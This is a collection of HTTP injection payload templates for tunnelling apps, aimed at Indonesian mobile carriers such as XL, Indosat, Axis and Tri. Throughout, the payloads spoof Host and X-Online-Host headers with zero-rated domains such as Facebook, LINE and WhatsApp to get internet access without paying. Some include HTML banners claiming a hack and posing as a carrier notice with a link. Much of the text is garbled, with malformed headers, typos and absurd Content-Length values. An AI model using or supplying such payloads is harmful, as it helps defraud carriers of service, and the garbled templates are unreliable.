Isat 10.19.19.

19:8080

Smartevd 10.17.27.250:8080

XL 202.152.240.50:8080

RAW

[raw][crlf][split]GET http://
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance]/ HTTP/1.1[crlf]Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]X-Online-Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]X-Forward-Host:
[rotate=m.facebook.com;graph.facebook.com;keep.line.me;line.naver.jp;123.xl.co.id/mi
n_balance][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][delay_split]GET /http/1.1/[crlf]host: line.naver.jp[crlf][crlf]

[raw][crlf][instant_split]GET http://line.naver.jp/ HTTP/1.1[crlf]Host:

line.naver.jp[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][split]GET http://c.whatsapp.net/ HTTP/1.1[crlf]Host: c.whatsapp.net[crlf]X-

Online-Host: c.whatsapp.net[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]

[raw][crlf][delay_split]GET http://xl.co.id/m.facebook.com/ HTTP/1.1[crlf]Host:

xl.co.id/m.facebook.com[crlf]X-Forwarded-For: xl.co.id/m.facebook.com[crlf]Connection:
Keep-Alive[crlf]user-Agent: [ua][crlf][crlf]

[raw][crlf][instant_split]GET http://bug.com/ HTTP/1 .1 200 0K[crlf]Host: Bug.com[crlf]X-

Online-Host:Bug.com[crlf]proxy-Connectipn: Keep-Alive[crlf]Content-Length:
999[crlf]User-Agent: [ua][crlf][crlf]
GET

GET http://free.facebook.com/ HTTP/1.1[crlf]Host: free.facebook.com[crlf]X-Online-

Host: free.facebook.com[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
[instant_split]CONNECT [host_port] [protocol][crlf][crlf]
GET http://[rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com]/
HTTP/1.1[crlf]Host:
[rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com][crlf]X-Forward-
Host: [rotate=graph.facebook.com;m.fb.me;api.facebook.com;s.twitter.com]
[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split][raw][crlf][crlf]

GET http://api.indosatooredoo.com/8080/ HTTP/1.1[crlf]Host:

api.indosatooredoo.com/8080[crlf]X-Online-Host: api.indosatooredoo.com/8080[crlf]X-
Forward-Host: api.indosatooredoo.com/8080[crlf][crlf][split]CONNECT [host_port]
[protocol][crlf][crlf]

GET http://api.indosatooredoo.com/ HTTP/1.1[crlf]Host: api.indosatooredoo.com[crlf]X-

Forwarded-For: api.indosatooredoo.com[crlf][split]Connection: Keep-Alive[crlf]
[crlf]CONNECT [host_port] [protocol][crlf][crlf]

GET http://myxlpostpaid.xl.co.id/ HTTP/1.1[crlf]Host:

myxlpostpaid.xl.co.id[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT
[host_port] [protocol][crlf][crlf][instant_split]CONNECT [host_port][crlf][crlf]

GET http://mypostpaid.xl.co.id/ HTTP/1.1[crlf]Host: mypostpaid.xl.co.id[crlf]Connection:

close[crlf]Connection: Keep-Alive[crlf][crlf][instant_split]CONNECT [host_port][crlf][crlf]

METHOD

[method] [host_port][crlf]@my.xl.co.id [protocol][crlf][crlf][instant_split]POST

http://line.naver.jp/ HTTP/1.1[crlf]Host: line.naver.jp[crlf]X-Online-Host:

line.naver.jp[crlf]proxy-Connection: close[crlf]Connection: Keep-Alive[crlf][crlf][crlf]

[method] [host][lf]www.axisnet.id [crlf][crlf]GET /1.1[crlf]X-Online-Host:

www.axisnet.id[crlf]Connection: Keep-Alive[crlf][crlf]
[method] [host_port]\r\n\r[split]GET http://mmc.xl.net.id.naver.net HTTP/1.1\r
Host: mmc.xl.net.id.naver.net\rConnection: keep-alive\r\r\r

CONNECT

CONNECT [host_port]

[crlf]@[rotate=myxl.co.id;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in] [crlf][crlf][instant_split]POST http://

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in]/ HTTP/1.1[crlf]Host:

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in][crlf]User-Agent: [ua][crlf]POST / HTTP/1.1[crlf]Host:

[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;adamstr

eet.heck.in][crlf]Connection: close[crlf]User-Agent: Web-sniffer/1.1.0 (+http://web-

sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-Charset: ISO-8859-1,UTF-8;q=0-

.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]AcceptLanguage: de,en;q=0.7,en-us;q=-

0.3[crlf]Referer: http://web-sniffer.net/[crlf][crlf]Connection: Keep-Alive[crlf][crlf]FAST

CONNECT [instant_split] CONNECT [host_port]

[crlf]@[rotate=ascr.whatsapp.net;line.naver.adams;mobile.facebook.com;it.twitter.com;a

damstreet.heck.in] [crlf][crlf][instant_split]GET http://123.xl.co.id/min_balance7/

HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]User-Agent: [ua][crlf]GET /

HTTP/1.1[crlf]Host:
R A.S.C.R /BROKENHEARTH[crlf][crlf]Connection: close[crlf]User-Agen t:

Web-sniffer/1.1.0 (+http://web-sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-

Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]Accept-

Language: de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-sniffer.net/[crlf]

[crlf]Connection: Keep-Alive[crlf][crlf]\r\n\r\n

CONNECT [host_port][crlf]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]POST

http://123.xl.co.id/min_balance7/ &$#@*w-)><
<html><head><title></title><head><body><h1><font color="blue">XL INDONESIA 200
OK Connection Established HACK BY GALIH GUSTIMAN CIBER CRYME </h1><p>MAAF
PELANGGAN SETIA KAMI, KAMI DARI PIHAK XL INDONESIA MENDETEKSI KEBERADAAN
SIM CARD ANDA MENGGUNAKAN INTERNET TANPA KUOTA DAN PULSA,ANDA
TERDETEKSI ILEGAL JIKA ANDA TIDAK MERASAKAN MENGGUNAKAN INTERNET ILEGAL
SILAHKAN KLIK <a
href="http://123.xl.co.id/min_balance8.MY.AXIATA.COM">here</a></p></body></html>
<html><head><title><title><head><body><h1><font color="red">JANGAN LUPA
BAHAGIA !!!!</h1>/ HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]User-Agent: [ua]
[crlf]POST / HTTP/1.1[crlf]Host: 123.xl.co.id/min_balance7[crlf]Connection:
close[crlf]User-Agent: Web-sniffer/1.1.0 (+http://web-sniffer.net/)[crlf]Accept-Encoding:
gzip[crlf]Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-
cache[crlf]Accept-Language: de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-
sniffer.net/[crlf][crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][protocol][crlf]host:Location:
http://internet.tri.co.id/pageredirect/front/regular[crlf][lf][delay_split][method]
http://goo.gl[crlf][crlf]Content-Lenght: 123[auth][port][host][crlf]
[crlf]HTTP/1.1[crlf]Host: 128.199.150.25:80[crlf][crlf][method] http://adf.ly[crlf]
[crlf]Content-Lenght: 123[auth][port][host][crlf][crlf]CONNECT X-sgdo22.serverip.co[lf]x-
sgdo25.serverip.co:443 HTTP/1.0[crlf]Connection: Keep-Alive[crlf]HTPP/1.1 200 OK[crlf]
[crlf][crlf]\r\r[split][netData]\r\r

CONNECT [host_port][crlf][crlf][crlf][instant_split]GET
http://my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js/ HTTP/1.1[crlf]Host:
www.my.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET / HTTP/1.1[crlf]Host:
my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js[crlf]Connection: close[crlf]
[crlf][crlf]GET http://my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js/
HTTP/1.1[crlf]my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-2.2.2.min.js[crlf]GET /
HTTP/1.1[crlf]Host: my.xl.co.id/sisternet.xl.co.id/assets/js/lib/jquery-
2.2.2.min.js[crlf]Connection: close[crlf]Connection: Keep-Alive[crlf]\r\n\r\n

CONNECT [host_port][crlf][crlf][instant_split]GET
http://ibnads,xl.co.id/ HTTP/1.1[crlf]Host: prima,123.xl.co.id[crlf]User-Agent: [ua][crlf]
[crlf]GET / HTTP/1.1[crlf]Host: 123,xl.co.id.gudangsaos.us.to[crlf]Connection: Close[crlf]
[crlf]</h1><font color="blue" size="15px">XL OPOK JABAR
</font><html><head></h1><font color="red">?Copyright @GSM By : Sarken
Falsisme?<a[crlf]GET / HTTP/1.1[crlf]Host: 4G,xl.co.id/min_balance8[crlf]Connection:
close[crlf][crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][crlf]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]POST

http://123.xl.co.id/min_balance7/ HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]User-Agent: [ua][crlf]POST / HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]Connection: close[crlf]User-Agent: Web-sniffer/1.1.0
(+http://web-sniffer.net/)[crlf]Accept-Encoding: gzip[crlf]Accept-Charset: ISO-8859-
1,UTF-8;q=0.7,*;q=0.7[crlf]Cache-Control: no-cache[crlf]Accept-Language:
de,en;q=0.7,en-us;q=0.3[crlf]Referer: http://web-sniffer.net/[crlf][crlf]Connection: Keep-
Alive[crlf][crlf]

CONNECT [host_port][crlf][crlf][instant_split]GET http://mypostpaid.xl.co.id/

HTTP/1.1[crlf]Host: ibnads.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET /HTTP/1.1[crlf]
Host: xl.sns.bz[crlf]Connection: close[crlf][crlf][crlf]GET /HTTP/1.1[crlf]Host:
4g.xl.co.id/min_balance8[crlf]Connection: close[crlf][crlf]Connection: Keep-Alive[crlf]
[crlf]

CONNECT [host_port][crlf][crlf]HTTP/1.1[crlf]GET http://myxlpostpaid.xl.co.id/ HTTP/1.1

200 OK[crlf]Host: myxlpostpaid.xl.co.id[crlf]User-Agent: Mozilla/5.0 (Linux; Android
4.4.2; ASUS_Z007 Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/55.0.2883.91 Mobile Safari/537.36[crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port][crlf][crlf][instant_split]GET http://my.xl.co.id/ HTTP/1.1[crlf]Host:

prima.123.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET / HTTP/1.1[crlf]Host:
123.xl.co.id/prepaid[crlf]Connection: close[crlf][crlf][crlf]Content-Length:
9999999[crlf]Connection: Keep-Alive[crlf][crlf]
CONNECT [host_port][crlf][crlf][instant_split]GET http://123.xl.co.id;prime.123.xl.co.id/
HTTP/1.1[crlf]Host: 123.xl.co.id;prime.123.xl.co.id[crlf]User-Agent: [ua][crlf][crlf]GET /
HTTP/1.1[crlf]Host: 123.xl.co.id;prime.123.xl.co.id[crlf]Connection: close[crlf][crlf]
[crlf]GET http://123.xl.co.id/ HTTP/1.1[crlf]GET / HTTP/1.1[crlf]Host:
123.xl.co.id;prime.123.xl.co.id[crlf]Connection: close[crlf][crlf][crlf]

CONNECT[host_port]@3030.tri.co.id[protocol][crlf][delay_sp|it]GET
http://3030.tri.co.id/HTTP/1.1[crlf]Host: 3030.tri.co.id[crlf]X-OnlineHost:
3030.tri.co.id[crlf]X-Forward-Host: 3030.tri.co.id[crlf]Connection: Keep-Alive[crlf][crlf]

CONNECT [host_port] [crlf][crlf][instant_split]POST

http://123.xlgprs.co.id/m.facebook.com/ HTTP/1.1 200 OK[crlf]Host:
123.xlgprs.co.ook.com/ HTTP/1.1 200 OK[crlf]Host:
123.xlgprs.co.id/m.facebook.com[crlf]Connection: Keep-Alive[crlf]Conten-Length:
99999999999999999999[crlf]

CONNECT [host_port][crlf][delay_split]GET http://xl.co.id/m.facebook.com/

HTTP/1.1[crlf]Host: xl.co.id/m.facebook.com[crlf]X-Online-Host:
xl.co.id/m.facebook.com[crlf]X-Forward-Host: xl.co.id/m.facebook.com[crlf]Connection:
Keep-Alive[crlf]User-Agent: [ua][crlf]

CONNECT [host_port][crlf]@123.xl.co.id/min_balance8 [crlf][crlf][instant_split]GET

http://123.xl.co.id/min_balance8/ EHTTP/1.0[crlf]Host: 123.xl.co.id/min_balance8[crlf]X-
Online-Host: 123.xl.co.id/min_balance8[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua]
[crlf][crlf]Content-Lengh:99999999999999999999999999999999999999999999999[crlf]
[crlf]

CONNECT [host_port]@123.xl.co.id/min_balance7 [crlf][crlf][instant_split]GET

http://123.xl.co.id/min_balance7/ HTTP/1.1[crlf]Host:
123.xl.co.id/min_balance7[crlf]User-Agent:[ua][crlf]
HTTP/1.1[crlf]Host:123.xl.co.id/min_balance7[crlf]Connection:close[crlf][crlf]User-Agent:
[ua][crlf] Content-length:1111111111[crlf] FullSpeed: maximal kb/s[crlf]Ping 8.8.8.8
-t[crlf]PingServer www.google.com[crlf]PING: 8.26.56.26:8.20.247.20/DNS/Connection:
fullSpeed&Keep-Alive[crlf][crlf]Content-Length:99999999999999999999[crlf][crlf]
CONNECT [host_port][crlf]@axisword.co.id [crlf][crlf][instant_split]GET
http://axisworld.co.id/ HTTP/1.1[crlf]Host: axisworld.co.id[crlf]Connection:
close[crlf]User-Agent: [ua][crlf]Cache: no-cache[crlf][crlf][crlf]

CONNECT 188.166.181.202:[port][crlf]@123.xl.co.id/freepaid [crlf][crlf]

[instant_split]GET /1.1[crlf]Host: [crlf]Connection: close[crlf][crlf][crlf]

CONNECT [host_port] HTTP/1.1[crlf][crlf]GEThttp://bug.com1; bug.com2; bug.com3/

[protokol][crlf]Host: bug.com1; bug.com2; bug.com3[crlf]Connection: Keep-Alive[crlf]
[crlf]